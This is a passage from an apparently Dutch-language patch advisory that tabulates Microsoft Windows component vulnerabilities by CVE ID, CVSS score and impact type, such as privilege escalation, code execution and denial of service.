Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: 